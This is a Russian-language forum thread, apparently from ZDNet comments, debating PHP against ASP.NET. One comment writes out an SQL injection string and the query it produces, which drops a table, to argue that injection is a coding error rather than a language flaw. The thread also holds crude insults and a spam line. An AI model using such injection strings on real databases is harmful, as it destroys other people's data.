2Aspfan Тупая задача - простая задача == Я вас поздравляю, вы с "тупой" задачей не справились, исходников тега prices я так и не увидел. Идиотское требоване - требование не имеюсчие ни чего обжего с реаальными == Когда подростете, и научитесь писать свои кастом таги или когда появятся задания, для которых стандартные МС-ие таги не подойдут, вот тогда и столкнетесь с этими по вашему "ИДИОТСКИМИ" требованиями.
	Aspfan 23 Oct 2006 6:27 PM
2 xacid "изначально требовалось продемонстрировать отделение бизнес-логики от дизайна. что и было продемонстрировано на PHP-реализации MVC-фреймворка." Я показал три реализации 1 и 3 вроде удовлетворяут требованию "отделение бизнес-логики от дизайна" "секундочку, уважаемый! вы явно передергиваете. о сортировках в условии задачи ничего не было - это вы на ходу придумали уже." Это была реакция на изменения условий от Злой которому чемто не угодили стили. Да кто его уже знает что было в начали, если есть жилание сформулируй все заного и четко, или предумай новую задачу. Мои требования: 1. Только чистый PHP, .Net без всяких расширений. 2. Задача должна быть короткой, больше 20 Минут я тратить не хочу. 3. Результат на rsdn.ru, там и модератор есть и форум развит гораздо лудше ни каких дурацких удалений отступов.
	xacid 23 Oct 2006 7:02 PM
я вас лично ни в чем не упрекал вобщето, кажется. всего лиш продемонстрировал что на пхп это тоже вполне возможно. как бы ни невероятно это ни казалось. насчет чистоты пхп - в чем же по вашему "нечистота" заключается? остальное - не ко мне.
	VicTor 23 Oct 2006 10:35 PM
2 Aspfan: > Зайди на rsdn.ru в форум священные войны там ктото провадил тесты. Там что? Посещаемости не хватает? > Мои требования: > > 1. Только чистый PHP, .Net без всяких расширений. > 2. Задача должна быть короткой, больше 20 Минут я тратить не хочу. > 3. Результат на rsdn.ru, там и модератор есть и форум развит гораздо лудше ни каких дурацких удалений отступов. Отметьте, что это не мы припёрлись на рекламируемый вами форум, а вы припёрлись сюда. Требования свои можете свернуть в трубочку и забить себе в дупло... плашмя. Ежели хотите поучаствовать, то есть готовое тех. задание и реализация на PHP. Реализуйте то же самое на .NET. После можете повыёживаться...
	straus 24 Oct 2006 5:23 AM
2Aspfan а почему на http://rsdn.ru/? давайте на http://php.ru/forum/, он тоже модерируется и вроде отступы не удаляются
	Linfan 24 Oct 2006 5:55 PM
Почти как у Гоблина :)) "Не так давно, в одном всем известном месте, бушевали... H O L Y W A R S В интернете резко осложнилась оперативная обстановка. Лица непонятной национальности наладили рекламу паленых дотнетовских компонентов в интернетовских масштабах... и т.п." :))
	критик - fakekritik.ru 25 Oct 2006 12:07 AM
странно сравнивать php и .NET в статье рассматриватются одни сомнительные плюсы .NET неужели такая идеальная "технология"? "Компилирование кода Написанный код при первом обращении компилируется и впоследствии выполняется уже скомпилированный код, в отличие от PHP.Это заметно ускоряет разработку приложений...." непонятно как это ускоряет разработку приложений "Библиотеки При написании кода можно использовать набор компонентов, поставляемых с .NET, а он, надо заметить, не мал...." можно подумать что с php нет никаких библиотек? "Поддержка средств разработки Visual Studio.NET предоставляет возможность WYSWYG создания и редактирования, включает в себя средства, упрощающие создание и портирование приложений...." в пхп это отсуствует? "И самое главное, много ли вы видели информации об уязвимостях, найденных в продуктах, написанных на ASP.NET?..." а он настолько популярен? windows для примера популярен, информации об уязвимостях много
	Linfan 25 Oct 2006 3:50 AM
2критик: наберите в гугле "ASP.Net уязвимость" и вы узнаете о сомнительной популярности дотьнета. А вот аффтар статьи гуглем явно пользоватся не умеет ;)
	критик - fakekritik.ru 25 Oct 2006 6:08 AM
2Linfan: вообще то был разговор о том, что автор в статье приводит только сомнительные(неаргументированные в статье) плюсы .NET или "односторонние сравнения"(автор не сравнивает их в одинаковых областях: безопасность, компилирование, библиотеки и т.д.). Конечный вывод делается на основе плюсов одной "технологии" и минусов другой:) Можно сделать вывод о простой рекламной статье, т.к. .NET идеален для выбора , минусов нет и не будет!:)
	Nick 25 Oct 2006 9:04 AM
Ню да, ню да.. PHP - это так круто. И все пиписьками меряются. Смешно, как пионэры, ей богу. А тут, паимаешь, бизнесь автомобильный крутится, и все норовят свои решения протолкнуть, и как то всё ASP.NET да Майкрософт. А красноглазики могут в сторонке постоять и ядро пересобрать, вместо курения, для успокоения, так сказать :) :) Естественно, я не о России или Украине говорю, а о далёкой и такой нелюбимой стране - США :) :)
	критик - fakekritik.ru 25 Oct 2006 9:57 AM
2Nick "..И все пиписьками меряются.." - померялся? рад?
	Alexander S. Kharitonov 25 Oct 2006 11:37 AM
2 Nick: > А красноглазики могут в сторонке постоять и ядро пересобрать, вместо курения, для успокоения, так сказать :) :) Интересно, почему некоторые люди просто истекают ядом когда говорят про то, что мы можем пересобрать ядро? У них что, комплексы из-за того, что мы можем, а они не могут?
	qwerty 25 Oct 2006 2:07 PM
кстати компиляция страницы ускоряет разработку в том смысле, что показывает синтаксические ошибки во всем тексте, а интерпретатор - только там где прошелся. Ошибка в каком нибудь редко посящаемом if может надолго оставаться.
	dr-Wicked 25 Oct 2006 2:34 PM
Вообще-то там двухфазовая компиляция, и я несоветовал бьі слишком полагаться на неё пресловутьій иф и там сам не вьіловится. Динамического исполнения в АСП.НЕТ хватает по самьіе…
	Linfan 25 Oct 2006 3:27 PM
2Nick: Юморист-автомобилист-bicycle_inventor :)
	A 25 Oct 2006 5:07 PM
2 querty: Как раз таки синтаксический разбор проходит по всему тексту в любом случае. Простой пример: <html><body> <?php $x=1; if ($x == 1) echo "xxx"; else ech "yyy"; ?> </body></html> PHP выдаст ошибку в любом случае. Чему бы ни была равна переменная $x. Касательно самой статьи - странным представляется то, что ошибки программистов автоматически приписываются языку разработки. Взять те же sql-инъекции. Хотите сказать, что если я в форму передам "'; drop table xxx; select * from table yyy where field='" и не отквотирую её перед обращением к базе данных, то запрос отработает так, как и ожидалось разработчиками ? Чушь полнейшая. Например, строка подставляется вот в такой запрос: "select * from xxx where field='$param'", где $param - это переданное формой значение. В результате получим запрос: select * from xxx where field=''; drop table xxx; select * from table yyy where field='' И что ? Это зависит от языка разработки ? Кому он сказки рассказывает ?
	Desperado 25 Oct 2006 5:29 PM
>И что ? Это зависит от языка разработки ? Кому он сказки рассказывает ? на самом деле зависит - другие субд могут защитить себя сами, просто нужно использовать бинд переменных, а не передавать переменные в теле SQL запроса. в mysql этой фичи нет, поэтому у php есть mysql_quote ... а в .net такоой функции нет, т.е. это скорее минус .net и плюс пхп.
	A 25 Oct 2006 6:36 PM
Так это... Я ж ни где не указывал именно mysql. Для постгреса запросы будут выглядеть точно так же, но при этом он умеет биндить значения. Вообще, я не использую в php функции mysql_*. Этот подход мне всегда казался бредом - в интерпретируемом языке для разных баз данных использовать разные по названию и набору переменных функции. Мне больше нравится подход перловского DBI. Потому в php я использую dbx. В нем тоже есть квотирование, хотя он умеет работать с разными базами данных. Правда, функций биндинга в нем нет. В отличие от DBI :)
	Desperado 25 Oct 2006 9:18 PM
если "Для постгреса запросы будут выглядеть точно так же, но при этом он умеет биндить значения." то вы не совсем понимаете как работает субд и насколько важно биндить.
	A 26 Oct 2006 2:17 AM
Имелось ввиду, что синтаксис постреса и синтаксис мускула практически одинаковые. И если не использовать биндинг, то в данном запросы будут идентичны. А для решения проблемы sql-инъекции можно использовать квотирование. Если програмер не использует этой возможности, то он сам себе злобный буратин. И это нельзя считать недостатком языка программирования. Ведь в нем механизм имеется.
	A 26 Oct 2006 2:18 AM
s/в данном запросы/в данном случае запросы/ :)
	Desperado 26 Oct 2006 3:04 PM
mysql_quote умеет квотировать только для mysql и не дает гарантии, на другие субд синтаксис который мякго говоря побагаче.
	eXOR 26 Oct 2006 5:58 PM
PHP вполне себе компилируемый язык :). Просто автор статьи вообще не в теме :).
	eXOR 26 Oct 2006 5:59 PM
SQL Injection при использовании биндинга становится затруднительным, а без оного возможен и .NET.
	A 26 Oct 2006 7:35 PM
2 Desperado: > mysql_quote умеет квотировать только для mysql и не дает > гарантии, на другие субд синтаксис который мякго говоря > побагаче. Логично. В то же время php-шный dbx_quote умеет квотировать для всех. - 2 eXOR Во во... И где ж тут недостатки языка в плане уязвимостей ? Пока не видать.
	roX 26 Oct 2006 7:39 PM
Читая посты некоторых товарищей, чуствуется пренебрежение к творению к МС. Так чем же так плох asp.net, объясните мне неразумному.
	Linfan 26 Oct 2006 8:16 PM
roX: плох не asp, а его поклонники скандирующие мантру "Асп бох, все иное суксь"
	roX 26 Oct 2006 8:47 PM
> плох не asp, а его поклонники скандирующие мантру "Асп бох, все иное суксь" У каждого своя релегия, и у каждого свой "любимый молоток" :)
	roX 26 Oct 2006 8:49 PM
Извиняюсь, очепятка: не релЕгия, а религия имелась ввиду:)
	йа забыл падписацца, асёл 27 Oct 2006 11:52 PM
>>Nick Ню да, ню да.. PHP - это так круто. И все пиписьками меряются. Смешно, как пионэры, ей богу. па-любому, писька пхпшника-пингвинятника, больше письки аспешника-вендузятника...даже вдвое сложенная=)
	j4ck - jackozersk.com 28 Oct 2006 9:10 AM
lol вот вам дырки в .NET, уже публичные http://www.niscc.gov.uk/niscc/docs/br-20061020-00711.html?l ang=en
	VB 28 Oct 2006 9:47 PM
Эк, вас, читателей ZDneta пробило на флейм, второй месяц никак страсти не улягутся...
	C# 29 Oct 2006 2:02 AM
А ты когданибуть на форумах zdnet чтонибуть кроме флейма видел?
	VB 29 Oct 2006 9:57 AM
2 C# Хорошо когда спор по делу, а когда в разговор лезут всякие типа "йа забыл падписацца, асёл" со своим мнением - это уже перебор
	PHP4 29 Oct 2006 11:45 PM
2C#&VB: "а когда в разговор лезут всякие типа" Чья б корова мычала...
	Java 30 Oct 2006 1:14 AM
2 PHP4 Одобряю - продуктам жизнедеятельности МС слова не давали!
	C# 30 Oct 2006 6:53 PM
ржунимагу афтар писчы есче
	com+ 30 Oct 2006 9:39 PM
А продуктам выделения сан слово давали бу-го-га
	DCOP 30 Oct 2006 11:29 PM
2 com+ Че, на кладбище не спиццо? ;-)
	.net 31 Oct 2006 10:14 AM
2DCOP А ты ветеранов не трогай
	lisp 31 Oct 2006 11:36 AM
кто все эти люди?
	xslt 31 Oct 2006 3:30 PM
какие то вы все приземленные...
	ASSEMBLER 31 Oct 2006 3:35 PM
Теперь то я думаю вы поняли, кто на самом деле крут.
	10001101001 31 Oct 2006 3:44 PM
110001101010011011001010110111 1000101101100011001001000100010 001000100010100100100011001001000 1000111100001010010010001001010 !
	A 31 Oct 2006 3:51 PM
2 ASSEMBLER: К сведению - языка под названием assembler никогда не существовало :) PS. Счетных палочек только не хватает :)
	Конторские счёты 31 Oct 2006 9:54 PM
Скоро я опять завоюю всех бухгалтеров! Бу-го-га!
	працессар 1 Nov 2006 6:03 PM
Что-бы вы все без меня делали, уродцы.
	машина тьюринга 1 Nov 2006 7:26 PM
да всё это мелочи жизни, частный случай, не более того...
	A 1 Nov 2006 11:46 PM
Ожидаем появления моска :)
	Моск 2 Nov 2006 2:15 AM
Исходя из категорического императива Канта - это фсе: зднет, интернет, компьютер и пр. существует только в моем воображении!
	Спинной моск 2 Nov 2006 6:32 AM
А я всё равно, куда захочу, туда моском и верчу.
	небесный глаз 2 Nov 2006 3:05 PM
хи-хи
	небесный глаз 2 Nov 2006 3:05 PM
все вы у меня под колпаком
	A 2 Nov 2006 3:30 PM
Следующее действующее лицо - вселенский разум. Ну или хотя бы астрал :) PS. Интересно, по теме кто-нибудь еще выскажется ?
	dr-Wicked 2 Nov 2006 6:25 PM
А темьі то нет
	Dima 2 Nov 2006 9:49 PM
2 dr-Wicked: Щаз будет... А С++ лyчше Pascal!
	dr-Wicked 3 Nov 2006 1:50 AM
-Чем лучше? -Чем Pascal!
	Linfan 3 Nov 2006 2:12 AM
dr-Wicked: А че? тему закончили чисто по-русски лозунгом "сам дурак" ;)
	sgTr2w6_5243 - duka.tgmail.ru 3 Nov 2006 6:31 AM
качалка для пороносайтов
	Злой 3 Nov 2006 12:44 PM
2А Интересно, по теме кто-нибудь еще выскажется ? == А тебе мало?
	A 3 Nov 2006 6:14 PM
Да мне просто интересно :)
	йа забыл падписацца, асёл 4 Nov 2006 9:58 AM
в очередь, сукины дети, в очередь!!!
	asm 20 Dec 2006 11:36 PM
да вы достали уже! экономьте электричество!
	liam - reidy_1991hotmail.com 27 Feb 2007 1:29 PM
hello!!
	GN 20 Apr 2007 6:40 PM
А чё с зднетом-то? И куда все ушли?